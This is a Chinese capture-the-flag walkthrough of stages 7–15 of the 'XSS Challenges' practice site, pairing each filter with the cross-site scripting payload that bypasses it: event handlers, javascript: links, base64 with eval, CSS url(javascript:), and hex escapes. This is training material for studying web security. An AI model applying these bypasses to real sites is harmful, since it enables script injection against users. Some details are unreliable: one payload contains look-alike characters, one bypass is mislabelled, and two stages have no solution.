第七关:空格分割,代替"
靶场连接:XSS Challenges (by yamagata21) - Stage #7
第六关靶场截图:
查看提示:Hint: nearly the same... but a bit more tricky. 几乎一样……但是有点棘手
提示说遇上一关基本一样,那么用事件触发
输入上一关的注入脚本可以看到,value未被闭合,多了引号,
接下来去除引号:执行成功
hacker7 onmouseover=alert(document.domain)
第八关:利用a标签进行绕过
靶场连接:XSS Challenges (by yamagata21) - Stage #8
靶场截图:
提交内容之后发现转化为a标签存储
我们定义新的标签,利用伪协议
javascript:alert(document.domain)
点击伪协议,发现执行成功
第九关:UTF-7编码绕过(不常用)
靶场连接:XSS Challenges (by yamagata21) - Stage #9
靶场截图:
第十关:
靶场连接:XSS Challenges (by yamagata21) - Stage #10
靶场截图:
查看提示:Hint: s/domain//g; 过滤s/domain/g等内容
先输入提交内容看看,可以看到和之前的关卡相似,试着闭合并且注入脚本
hacker10"><script>alert(document.domain)</script>
直接将输入的内容过滤了
那么试试大小写绕过,成功执行
hacker10"><script>alert(document.dodomainmain)</script>
也可以试着用base64编码绕过,但是在使用的时候还要用eval()函数或者atob()进行解码,
fengzilin"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
第十一关:
靶场连接:http://xss-quiz.int21h.jp/stage11th.php?sid=16da532d066ad4f9e66404d40e1a7773667e7a5d
靶场截图:
查看提示:Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
发现过滤:将script替换成xscript
将on[a-z]替换成onxxx=
将style替换成stxxx=
"><a href="javas	cript:alert(document.domain);">xss</a>"><a
第十二关:利用IE浏览器的过滤特性绕过
靶场连接:XSS Challenges (by yamagata21) - Stage #12
靶场截图:
查看提示:Hint: "s/[\x00-\x20\<\>\"\']//g;"
明显是过滤了script,把<,>给过滤了
把单引号,双引号,给过滤了
利用IE浏览器的特性,两个反引号('')可以闭合一个语句中的双引号
安装IEtester软件,可以打开模拟IE的各种版本,成功进入
hacker12`` οnmοusemοve=alert(document.domain)
第十三关:利用CSS样式结合IE特性绕过
靶场连接:XSS Challenges (by yamagata21) - Stage #13
靶场截图:
查看提示:Hint: style attribute
- 您希望设置的样式属性
- 样式属性
background:url(javascript:alert('document.domain'));
第十四关:内联注释
靶场连接:XSS Challenges (by yamagata21) - Stage #14 (int21h.jp)
靶场截图:
第十五关:16进制编码绕过
靶场连接:XSS Challenges (by yamagata21) - Stage #15 (int21h.jp)
靶场截图:
查看提示:Hint: document.write();
先输入常规提交内容:<script>alert(document.domain);</script>
发现题目把
<变成了<
>变成了>
怎么绕过<和>呢?
< 变成了 \x3c
> 变成了 \x3e
\x3cscript\x3ealert(document.domain);\x3c/script\x3e 错误
过滤了单个\
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e 正确